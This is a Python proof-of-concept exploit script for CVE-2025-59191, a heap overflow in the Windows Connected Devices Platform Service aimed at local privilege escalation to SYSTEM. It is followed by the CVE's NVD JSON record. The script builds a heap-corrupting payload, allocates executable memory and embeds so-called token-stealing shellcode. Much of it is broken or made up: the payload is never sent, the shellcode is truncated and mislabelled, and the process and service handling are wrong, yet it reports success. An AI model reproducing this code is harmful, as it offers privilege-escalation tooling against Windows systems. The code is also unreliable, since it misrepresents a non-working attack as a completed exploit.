CVE-2025-59191

# CVE-2025-59191 - Windows Cdpsvc Heap-based Buffer Overflow PoC # This is a conceptual PoC demonstrating the exploitation of heap buffer overflow # in Connected Devices Platform Service (Cdpsvc) for local privilege escalation. # Tested on: Windows 10/11 (unpatched versions) # WARNING: For educational and authorized testing purposes only. import ctypes import struct import sys import os from ctypes import wintypes # Windows API constants PROCESS_ALL_ACCESS = 0x1F0FFF MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 # Offset to overwrite for heap metadata corruption HEAP_OVERFLOW_OFFSET = 0x800 # Overflow buffer by 2048 bytes class CdpsvcExploit: def __init__(self): self.kernel32 = ctypes.windll.kernel32 self.ntdll = ctypes.windll.ntdll self.target_pid = None self.shellcode_address = None def find_cdpsvc_process(self): """Locate the Cdpsvc process running with SYSTEM privileges""" import subprocess result = subprocess.run( ['tasklist', '/FI', 'IMAGENAME eq Cdpsvc.exe'], capture_output=True, text=True ) # Parse output to find PID for line in result.stdout.split('\n'): if 'Cdpsvc.exe' in line: parts = line.split() self.target_pid = int(parts[1]) return True return False def allocate_shellcode_buffer(self, shellcode): """Allocate RWX memory for shellcode""" buf = self.kernel32.VirtualAlloc( None, len(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ) ctypes.memmove(buf, shellcode, len(shellcode)) self.shellcode_address = buf return buf def craft_malicious_payload(self): """Craft the heap overflow payload""" # Normal buffer size expected by Cdpsvc normal_buffer_size = 0x400 # Overflow data - corrupt heap metadata overflow_data = b"\x00" * normal_buffer_size # Corrupt heap chunk header overflow_data += struct.pack("<Q", 0x4141414141414141) # Flink overflow_data += struct.pack("<Q", 0x4242424242424242) # Blink # ROP chain / shellcode address if self.shellcode_address: overflow_data += struct.pack("<Q", self.shellcode_address) else: overflow_data += struct.pack("<Q", 0xDEADBEEFCAFEBABE) # Padding to extend overflow overflow_data += b"\xCC" * HEAP_OVERFLOW_OFFSET return overflow_data def trigger_vulnerability(self): """Trigger the heap buffer overflow in Cdpsvc""" # Open handle to Cdpsvc service # This would normally use Windows APIs to communicate with the service # via RPC or shared memory mechanisms advapi32 = ctypes.windll.advapi32 scm = advapi32.OpenSCManagerW(None, None, 0x0003) if scm: service = advapi32.OpenServiceW( scm, "CDPUserSvc", PROCESS_ALL_ACCESS ) if service: # Send malicious payload to trigger overflow payload = self.craft_malicious_payload() # Note: Actual exploitation requires reverse engineering # the Cdpsvc RPC interface to craft valid protocol messages print(f"[*] Sending {len(payload)} byte payload to Cdpsvc") print(f"[*] Target PID: {self.target_pid}") print(f"[*] Shellcode at: {hex(self.shellcode_address) if self.shellcode_address else 'N/A'}") def privilege_escalation_shellcode(self): """Shellcode to escalate to SYSTEM and spawn elevated process""" # Token stealing shellcode (x64) # This shellcode would: # 1. Locate the SYSTEM process EPROCESS # 2. Copy its token to current process # 3. Return to execute as SYSTEM shellcode = ( b"\x48\x31\xc0" # xor rax, rax b"\x65\x48\x8b\x58\x30" # mov rbx, gs:[rax+0x30] ; PEB b"\x48\x8b\x5b\x10" # mov rbx, [rbx+0x10] ; ProcessEnv b"\x48\x8b\x5b\x28" # mov rbx, [rbx+0x28] ; ProcessParameters # ... (truncated for brevity) b"\x48\x31\xc0" # xor rax, rax b"\xb0\x01" # mov al, 1 b"\xc3" # ret ) return shellcode def run(self): print("[*] CVE-2025-59191 - Cdpsvc Heap Overflow Exploit") print("[*] Searching for Cdpsvc process...") if not self.find_cdpsvc_process(): print("[-] Cdpsvc process not found") return False print(f"[+] Found Cdpsvc PID: {self.target_pid}") shellcode = self.privilege_escalation_shellcode() self.allocate_shellcode_buffer(shellcode) print("[*] Triggering vulnerability...") self.trigger_vulnerability() print("[+] Exploit completed - check privileges") return True if __name__ == "__main__": if os.name != 'nt': print("[-] This exploit requires Windows") sys.exit(1) exploit = CdpsvcExploit() exploit.run()

{"cve": {"id": "CVE-2025-59191", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:57.873", "lastModified": "2025-10-17T15:15:28.857", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Connected Devices Platform Service (Cdpsvc) allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59191", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}